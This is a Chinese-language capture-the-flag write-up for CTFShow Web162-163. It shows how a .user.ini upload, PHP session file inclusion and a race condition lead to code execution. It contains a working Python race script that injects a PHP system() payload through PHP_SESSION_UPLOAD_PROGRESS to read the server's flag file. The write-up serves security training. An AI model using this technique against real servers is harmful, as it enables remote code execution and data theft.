CTFShow-Web162-163:session包含与条件竞争
CTFShow-Web162-163:Session文件包含与条件竞争
相比于Web161,增加了对"."的过滤,无法使用文件包含,考虑session文件包含。
并且这两题中,上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,所以需要用条件竞争。
session文件包含具体原理可参考:https://www.freebuf.com/vuls/202819.html
🛠️ Web162-163 解题步骤
-
上传 .user.ini 文件
不能包含".",因此图片名改为了png
-
上传图片

与.user.ini 对应,图片名改为png
-
条件竞争脚本
参考了yu22x的WriteUp:https://blog.csdn.net/miuzzx/article/details/109537262
import requests import threading import re session = requests.session() sess = 'abc' # 之前上传时自拟的名字,对应图片内容中的sess_abc url1="http://fc1bae0b-e774-43a7-b562-aae27c31f298.challenge.ctf.show" # 注意修改 url2="http://fc1bae0b-e774-43a7-b562-aae27c31f298.challenge.ctf.show/upload" data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' } file = { 'file': 'abc' #文件名,随便改就行 } cookies = { 'PHPSESSID': sess } def write(): # 上传文件竞争过程 while True: r = session.post(url1, data=data1, files=file, cookies=cookies) def read(): while True: # 每次竞争完都访问一下url/upload看有没有flag r = session.get(url2) if 'flag' in r.text: flag=re.compile('ctfshow{.+}') # flag格式匹配 print(flag.findall(r.text)) threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start() -
成功拿到flag

浙公网安备 33010602011771号